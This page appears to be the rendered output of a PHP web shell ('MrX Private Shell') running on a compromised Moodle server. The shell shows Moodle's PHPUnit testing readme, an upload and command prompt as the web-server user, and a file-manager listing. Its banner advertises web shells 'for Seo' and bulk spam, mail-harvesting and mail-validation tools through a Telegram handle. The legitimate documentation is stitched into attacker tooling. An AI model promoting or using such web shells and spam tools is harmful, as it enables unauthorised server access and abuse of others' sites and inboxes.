__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.153: ~ $
PHPUnit testing support in Moodle
==================================


Documentation
-------------
* [Moodle PHPUnit integration](https://moodledev.io/general/development/tools/phpunit)
* [Moodle Writing PHPUnit tests](https://moodledev.io/general/development/tools/phpunit#writing-new-tests)
* [PHPUnit online documentation](http://www.phpunit.de/manual/current/en/)
* [Composer dependency manager](http://getcomposer.org/)


Composer installation
---------------------
Composer is a dependency manager for PHP projects.
It installs PHP libraries into /vendor/ subdirectory inside your moodle dirroot.

1. install Composer - [http://getcomposer.org/doc/00-intro.md](http://getcomposer.org/doc/00-intro.md)
2. install PHUnit and dependencies - go to your Moodle dirroot and execute `php composer.phar install`


Configure your server
---------------------
You need to create a new dataroot directory and specify a separate database prefix for the test environment,
see config-dist.php for more information.

* add `$CFG->phpunit_prefix = 'phpu_';` to your config.php file
* and `$CFG->phpunit_dataroot = '/path/to/phpunitdataroot';` to your config.php file


Initialise the test environment
-------------------------------
Before first execution and after every upgrade the PHPUnit test environment needs to be initialised,
this command also builds the phpunit.xml configuration files.

* execute `php admin/tool/phpunit/cli/init.php`


Execute tests
--------------
* execute `vendor/bin/phpunit` from dirroot directory
* you can execute a single test case class using class name followed by path to test file `vendor/bin/phpunit lib/tests/phpunit_test.php`
* it is also possible to create custom configuration files in xml format and use `vendor/bin/phpunit -c mytestsuites.xml`


How to add more tests?
----------------------
1. create `tests/` directory in your add-on
2. add test file, for example `local/mytest/tests/my_test.php` file with `my_test` class that extends `basic_testcase` or `advanced_testcase`
3. set the test class namespace to that of the class being tested
4. add some `test_*()` methods
5. execute your new test case `vendor/bin/phpunit local/mytest/tests/my_test.php`
6. execute `php admin/tool/phpunit/cli/init.php` to get the plugin tests included in main phpunit.xml configuration file


Windows support
---------------
* use `\` instead of `/` in paths in examples above

Filemanager

Name Type Size Permission Actions
classes Folder 0755
tests Folder 0755
bootstrap.php File 10.09 KB 0644
bootstraplib.php File 3.17 KB 0644
lib.php File 1.67 KB 0644
phpunit.xsd File 17.51 KB 0644
readme.md File 2.34 KB 0644
Filemanager